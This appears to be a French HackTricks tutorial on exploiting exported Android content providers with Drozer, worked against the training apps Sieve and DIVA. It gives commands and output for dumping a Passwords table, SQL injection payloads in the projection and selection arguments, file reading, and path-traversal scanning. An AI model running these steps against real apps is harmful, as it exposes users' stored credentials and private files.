Exploiting Content Providers

Exploiter les fournisseurs de contenu

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Introduction

Les données sont fournies d'une application à d'autres sur demande par un composant appelé fournisseur de contenu. Ces demandes sont gérées via les méthodes de la classe ContentResolver. Les fournisseurs de contenu peuvent stocker leurs données dans divers emplacements, tels qu'une base de données, des fichiers ou sur un réseau.

Dans le fichier Manifest.xml, la déclaration du fournisseur de contenu est requise. Par exemple :

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Pour accéder à content://com.mwr.example.sieve.DBContentProvider/Keys, l'autorisation READ_KEYS est nécessaire. Il est intéressant de noter que le chemin /Keys/ est accessible dans la section suivante, qui n'est pas protégée en raison d'une erreur du développeur, qui a sécurisé /Keys mais a déclaré /Keys/.

Peut-être pouvez-vous accéder à des données privées ou exploiter une vulnérabilité (Injection SQL ou Traversée de chemin).

Obtenir des informations à partir des fournisseurs de contenu exposés

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Il est possible de reconstituer comment accéder au DBContentProvider en commençant les URIs par "content://". Cette approche est basée sur les informations obtenues en utilisant Drozer, où des informations clés ont été trouvées dans le répertoire /Keys.

Drozer peut deviner et essayer plusieurs URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Vous devriez également vérifier le code du ContentProvider pour rechercher des requêtes :

De plus, si vous ne trouvez pas les requêtes complètes, vous pourriez vérifier quels noms sont déclarés par le ContentProvider dans la méthode onCreate :

La requête ressemblera à ceci : content://nom.du.package.classe/nom_déclaré

Fournisseurs de contenu basés sur une base de données

Probablement la plupart des Content Providers sont utilisés comme interface pour une base de données. Par conséquent, si vous y avez accès, vous pourriez être en mesure d'extraire, mettre à jour, insérer et supprimer des informations. Vérifiez si vous pouvez accéder à des informations sensibles ou essayez de les modifier pour contourner les mécanismes d'autorisation.

Lorsque vous vérifiez le code du Content Provider, recherchez également des fonctions nommées comme : query, insert, update et delete :

Car vous pourrez les appeler

Contenu de la requête

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Insérer du contenu

Interroger la base de données vous permettra d'apprendre le nom des colonnes, puis vous pourrez insérer des données dans la base de données :

Notez que dans l'insertion et la mise à jour, vous pouvez utiliser --string pour indiquer une chaîne de caractères, --double pour indiquer un double, --float, --integer, --long, --short, --boolean

Mettre à jour le contenu

En connaissant le nom des colonnes, vous pourriez également modifier les entrées :

Supprimer du contenu

Injection SQL

Il est simple de tester l'injection SQL (SQLite) en manipulant les champs de projection et de sélection qui sont transmis au fournisseur de contenu. Lors de l'interrogation du fournisseur de contenu, il y a 2 arguments intéressants pour rechercher des informations : --selection et --projection :

Vous pouvez essayer d'abuser de ces paramètres pour tester les injections SQL :

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Découverte automatique de l'injection SQL par Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Fournisseurs de contenu basés sur le système de fichiers

Les fournisseurs de contenu pourraient également être utilisés pour accéder aux fichiers :

Lire un fichier

Vous pouvez lire des fichiers à partir du fournisseur de contenu

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Traversal de chemin

Si vous pouvez accéder aux fichiers, vous pouvez essayer d'abuser d'une Traversal de chemin (dans ce cas, ce n'est pas nécessaire mais vous pouvez essayer d'utiliser "../" et des astuces similaires).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Découverte automatique de la traversée de chemin par Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Dernière mise à jour